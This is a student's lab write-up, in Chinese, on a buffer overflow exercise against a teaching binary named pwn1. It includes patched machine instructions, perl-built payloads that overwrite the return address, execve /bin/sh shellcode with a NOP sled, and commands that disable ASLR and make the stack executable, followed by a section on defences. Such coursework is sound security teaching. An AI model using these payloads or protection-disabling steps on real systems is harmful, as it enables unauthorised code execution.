20191324《網路對抗技術》 exp1 逆向與Bof基礎
一、實踐目標
本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。實踐的目標是想辦法執行這個程式碼片段。
1實踐內容
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
- 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
- 注入一個自己製作的shellcode並執行這段shellcode。
2基礎知識
- 熟悉Linux基本操作
- 理解Bof的原理。
- 會使用gdb,vi。
- 指令、引數。
- 理解思路。
2.1掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼:
NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麼也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90),實驗中我們構造滑行區就是用的這個機器命令x90。
JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)
JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
CMP:比較指令,功能相當於減法指令,只是對運算元之間運算比較,不儲存結果。cmp指令執行後,將對標誌暫存器產生影響。其他相關指令通過識別這些被影響的標誌暫存器位來得知比較結果。
2.2掌握反彙編與十六進位制程式設計器:
- 反彙編主要用的命令是objdump -d 目標檔案 | more
- 十六進位制程式設計器是wxHexEditor,可以進行十六進位制的檢視和相應修改,避免我們對vim編輯器的操作不熟悉導致的錯誤
2.3補碼
計算機中的有符號數有三種表示方法,即原碼、反碼和補碼。三種表示方法均有符號位和數值位兩部分,符號位都是用0表示“正”,用1表示“負”,而數值位,三種表示方法各不相同。在計算機系統中,數值一律用補碼來表示和儲存。原因在於,使用補碼,可以將符號位和數值域統一處理;同時,加法和減法也可以統一處理 。
二、直接修改程式機器指令,改變程式執行流程
1直接修改程式機器指令,改變程式執行流程
下載目標檔案pwn1,使用readelf命令來讀出整個ELF檔案頭的內容
2複製pwn1到pwn20191324,對目標檔案pwn20191324反彙編objdump -d pwn20191324 | more
根據記憶體地址80484b5,找到彙編指令"call 8048491 ",這條指令將呼叫位於地址8048491處的foo函式,對應機器指令為"e8 d7ffffff",e8即跳轉之意。
正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行 “EIP + d7ffffff”這個位置的指令也就是foo函式
那我們想讓它呼叫getShell,只要修改"d7ffffff"為"getShell-80484ba"對應的補碼就行。
getshell函式對應的地址為0804847d,用Windows計算器的程式設計師模式計算十六進位制,直接 47d-4ba就能得到補碼,是c3ffffff
下面我們就修改可執行檔案,將其中的call指令的目標地址由d7ffffff變為c3ffffff。
3修改可執行檔案,將其中的call指令的目標地址由d7ffffff變為c3ffffff
根據老師的步驟:
1.按ESC鍵
2.輸入如下,將顯示模式切換為16進位制模式
:%!xxd
3.查詢要修改的內容
/e8d7
4.找到後前後的內容和反彙編的對比下,確認是地方是正確的
5.修改d7為c3
6.轉換16進製為原格式
:%!xxd -r
7.存檔退出vi
:wq
再反彙編看一下,call指令是否正確呼叫getShell
4執行後會得到shell提示符,和未修改的程式碼進行對比
三、通過構造輸入引數,造成BOF攻擊,改變程式執行流
1反彙編,瞭解程式的基本功能
注意這個函式getShell,我們的目標是觸發這個函式
該可執行檔案正常執行是呼叫如下函式foo,這個函式有Buffer overflow漏洞
這裡讀入字串,但系統只預留了28位元組的緩衝區,超出部分會造成溢位,我們的目標是覆蓋返回地址
上面的call呼叫foo,同時在堆疊上壓上返回地址值:80484ba
2確認輸入字串哪幾個字元會覆蓋到返回地址
根據實驗指導書上的步驟進行分析,當輸入的為1111111122222222333333334444444455555555可以看到eip的值0x35353535也就是5555的ASCII碼
如果輸入字串1111111122222222333333334444444412345678,那 1234 這四個數最終會覆蓋到堆疊上的返回地址,進而CPU會嘗試執行這個位置的程式碼。所以只要把這四個字元替換為 getShell 的記憶體地址,輸給pwn1,pwn1就會執行getShell。
3確認用什麼值來覆蓋返回地址
getShell的記憶體地址,通過反彙編時可以看到,即0804847d。
接下來要確認下位元組序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
對比之前 eip 0x34333231 0x34333231 ,正確應用輸入11111111222222223333333344444444\x7d\x84\x04\x08
4構造輸入字串
因為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進位制值,所以先生成包括這樣字串的一個檔案。\x0a表示回車,如果沒有的話,在程式執行時就需要手動按一下回車鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
``關於Perl:
Perl是一門解釋型語言,不需要預編譯,可以在命令列上直接使用。
使用輸出重定向“>”將perl生成的字串儲存到檔案input中。``
可以使用16進位制檢視指令xxd檢視input檔案的內容是否如預期:
然後將input的輸入,通過管道符“|”,作為目標檔案pwn1的輸入。命令為(cat input; cat) | ./pwn1
四、注入Shellcode並執行
1準備一段Shellcode
- shellcode就是一段機器指令(code)
- 通常這段機器指令的目的是為獲取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),
- 所以這段機器指令被稱為shellcode。
- 在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像新增一個使用者、執行一條指令。
實踐即使用該文章(http://www.cnblogs.com/xxy745214935/p/6477120.html, 連結已失效),老師提供了新的連結[http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/], 生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2準備工作
修改設定
execstack -s pwn1 //設定堆疊可執行
execstack -q pwn1 //查詢檔案的堆疊是否可執行
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
這裡我遇到了問題:關閉地址隨機化許可權不夠,需要進入root許可權才能成功,但我之前沒設root賬戶,又新設了root的密碼
3構造要注入的payload
-
Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。 -
因為retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
-
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
-
我們這個buf夠放這個shellcode了
-
結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1將覆蓋到堆疊上的返回地址的位置。我們得把它改為這段shellcode的地址。特別提醒:最後一個字元千萬不能是\x0a。不然下面的操作就做不了了。
4確定\x4\x3\x2\x1到底該填什麼
開啟一個終端注入這段攻擊buf
(cat input_shellcode;cat) | ./pwn1
再開另外一個終端,用gdb來除錯pwn1這個程序。
首先找到我的程序號為1288,隨後啟動gdb進行除錯。
先attach上該程序,隨後設定斷點。
注意在輸入c(即continue那一步)時,先應返回原本程序輸入一個回車!
此處我的esp值為ffffd18c↑
看到 01020304了,再往前找 ↑
看到9090310c了,再往前一點↑
從0xffffd16c開始就是我們的Shellcode ↑
這個返回地址佔位也是對的:
根據實驗指導書,我決定將返回地址改為0xffffd170。
失敗了,為什麼,從頭開始:
gdb除錯:
跳坑!(我真服了,這個老六)
重新開始
結構為:anything+retaddr+nops+shellcode。
根據實驗指導書中:
(gdb) x/16x 0xffffd31c
//看到 01020304了,就是返回地址的位置。shellcode就挨著,所以地址是 0xffffd320
由於我於ffffd18c處看到0x01020304,而shellcode就挨著,所以地址為0xffffd190
故我的輸入為:perl -e 'print "A" x 32;print "\x90\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\x17\xff\xff\x00"' > input_shellcode
然後試了半天,終於成功了:
是不是很簡單?是不是很簡單?是不是很簡單?
如果你覺得的“是”,注意這個事實:以上實踐是在非常簡單的一個預設條件下完成的:
(1)關閉堆疊保護(gcc -fno-stack-protector)
(2)關閉堆疊執行保護(execstack -s)
(3)關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32環境下
(5)在Linux實踐環境
可以繼續研究更換以上任何一個條件下如何繼續bof攻擊。
5結合nc模擬遠端攻擊
本例中是在同一臺主機上做的實驗;該實驗最好在互相連通的兩臺Linux上做,將ip地址替換為主機1的IP即可。
首先檢視ip地址:
主機1,模擬一個有漏洞的網路服務:
-l 表示listen, -p 後加埠號 -e 後加可執行檔案,網路上接收的資料將作為這個程式的輸入
主機2,連線主機1併發送攻擊載荷:
輸入shell指令還沒有完,這個時候因為是兩個終端,地址有可能會變化,所以我開了第三個終端單步調檢視nops地址
切記關閉地址隨機化,做了好幾次沒成功就是這個原因
我的esp內為0xffffd1cc
這裡可以算出地址為0xffffd1d0,注入進ret返回地址裡面
perl -e 'print "A" x 32;print "\xd0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
重新修改shellcode,並注入,成功。
五、Bof攻擊防禦技術
1從防止注入的角度。
在編譯時,編譯器在每次函式呼叫前後都加入一定的程式碼,用來設定和檢測堆疊上設定的特定數字,以確認是否有bof攻擊發生。
2注入入了也不讓執行
結合CPU的頁面管理機制,通過DEP/NX用來將堆疊記憶體區設定為不可執行。這樣即使是注入的shellcode到堆疊上,也執行不了。
通過execstack -s pwn1 來設定堆疊可執行
通過execstack -q pwn1 來查詢檔案的堆疊是否可執行
/proc/sys/kernel/randomize_va_space用於控制Linux下記憶體地址隨機化機制(address space layout randomization),有以下三種情況:
0 - 表示關閉程序地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。
3增加shellcode的構造難度
shellcode中需要猜測返回地址的位置,需要猜測shellcode注入後的記憶體位置。這些都極度依賴一個事實:應用的程式碼段、堆疊段每次都被OS放置到固定的記憶體地址。ALSR,地址隨機化就是讓OS每次都用不同的地址載入應用。這樣通過預先反彙編或除錯得到的那些地址就都不正確了。
4從管理的角度:
加強編碼質量。注意邊界檢測。使用最新的安全的庫函式
六實驗感想
這次實驗老師說是所有實驗中最簡單的,我當然沒信,事實證明這次實驗也確實不簡單,相比於其他人,我遇到了更多的問題,首先地址隨機化不成功,好,我去查需要許可權,我想進入root許可權吧又跟我說鑑定故障,行,我再查,要重新建立新的root,終於成功。好,當我滿心歡喜做到gdb除錯,attach pid的時候,又給我冒出來一個prace:不允許的操作,可以,我繼續查,網上說的情況我都試過了,還是不行,一看到飯點了,關機,填飽肚子最重要,好傢伙下午重新做又可以了?後來才發現是因為我兩個終端使用者不一樣,一個是pxm,另一個是root,後面的操作也還行,就是忘了關閉記憶體地址隨機化讓我重複做了很多遍懷疑人生。
總體來說,這次實驗又讓我重新學習了一遍緩衝區溢位攻擊的原理,也確實讓我對緩衝區溢位攻擊的印象和理解更深了幾分,而且再次接觸組合語言和機器指令也讓我想起了大二學的計算機組成原理,只能說想要學好這門課,還有很多東西要學